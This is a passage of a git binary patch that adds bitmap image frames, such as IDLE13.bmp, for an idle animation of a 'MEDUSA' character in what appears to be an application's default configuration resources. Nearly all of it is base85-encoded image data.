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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE13.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE13.bmp new file mode 100644 index 0000000000000000000000000000000000000000..88ab0a73d349ead6eb8af7f82802f8bbcee4fa33 GIT binary patch literal 18462 zcmc({1zcN6_we6mrMgAxLcO$Ma#&P?xQ5 z-Mv`eljhm}y1QNZ{QvuV-}ziFlestd&Uen4GiS~WSdy3GCVftZa8`pK%71_UGikx+ z@`u<-lMXA$e?Aw$N&4q$Vq)UYFaFJyv9Yny(b2KdvGMV7cn+MQYYDPw)nQCeVM#jYT8pg&ZcodSPuZJ);LZgrvDuv(L;b#rrLHyo|aJ#8(U;4C{@ z;N0ET($n6yxuXs8ot+&$+qUl5yJ!F2z59j;7Ul9KZD>M^4 zVE3+m9@kIo784Yb7Z8w3XNFo>+Bu8Uu|%=6DAnCNA8F2Z5+zw!+41ZnId&nYNP>~E zjk>y#2?D=P&0x)Ho#iXkHMMj}M0Rv&0gvv9v*Zx5_O@hK4#UTe?dR$o8Q_%_D=E)O z=_t?NRi3x2AgwnisVh6FGbg1pH>Eo_r7JhND<`QlE3rL2wlyWPF(s-YIjSx;tRh-c z6eHOf=ARYfpAZ?AQd`q_`}Qq4v|LbM8sJOjuUU8RaS}+pd=lKf5=7!yvTcAd!j|I@ z1#o=FI7gQh6C}glDHefX*zqH1OdnGu5rrgc>mV@%u8AogfxsD>U^KOib+pl2S}$}p zoNcQ*QB}}ioU<)Iy(>AUJ|ei-&ok9s7$tNHbr;2?#kMq-4Qy(>u(|0{SKV-1)#;Xs zlPwj4t(AkVRVUl4&$L&cg>y&E>CW0SoponAYEO68oN1{zQJKFlPEzjX5}KTpdH?=> zfcqxyU$So5vQ6L^>g%84<(njM3AbejBg`0VUYNNB&(SH#(IpvW!M1mfF+;NK>|@9@ zPZXL0nyjN^W@*DVGO{r?!RY9tbo5Z`)bv}bk5_Iy&`^39s@7V0vaR}5XYJXpx}om+ zA*gj@`9MZOv!`o<124qYDLgEoATPD2zVr}W>Z~1Zt32IQcD%m$SY6T4`r?6xl3$O~ zfqKZ74m4F9hevhPo=S^tb+q$7f8oM6alc{(O@{<60$Ts+(6Rk zfwtFmLG$L1m(|&YmSXh1ccvd@~^CL<;BYv*RTJ4VsP-lfrFbj zZSLvWYGmNr69 zAH7CR2V+gAP@J^1kw|k2o?x%4s-vl8(6?i6L1Bf^IVjLKJw{TJ7*QE3DUAs!fv(nG zd#0}BP(zsvw4r#QrE0LXVi1G`M@!{kSM6|D{ZLEQ@v^*~DKQP9ez|VWvA`{I3itO) zOHXL5Eja+t@@50#y5hs#^=Ca?LVme_51_u5;iO4&_|vD)V6k)-TWBxvb94%Ja13#B z2^WdugrYbnVYH(llEn_9)BPw^Pb$reNcJF--S9*qfh;Cb-LOPw98pMT`Dtu0U9VxV zVx_u{4pK)4g+kK^L`O?&wiyc7(Z21(@!?&&_BA%P<>!^8q-1Ah73AfWxVZ)BI7ay+O2&#U#x#D<7HK@XHN6i@!VOider09At zQKF+=kkBzAT2fkDybpAxuJ}k-?U0u!^5Vtc_u5I5j6_VlSsTYCF! zFf_3sG9{|IJa0SnQK}iu1@FMJ;RyM`naQoqRmZyO&VRO0C!5Ma+mF;2gZPg@mu;^) z1>DdtvXVOe+|wPnA>qOK?KOj7oLvR}uiw1-gIvLpgR1`@Vfg`*#oQ-gUTd`~Ka#4u%D#<|MRx zyC$FvEd>_bHc5F;XjQ#WVJt7i&Wgpx*}FQ1M1>aRrT3H-?y4?1&|H4Bt!5BLu$~5) 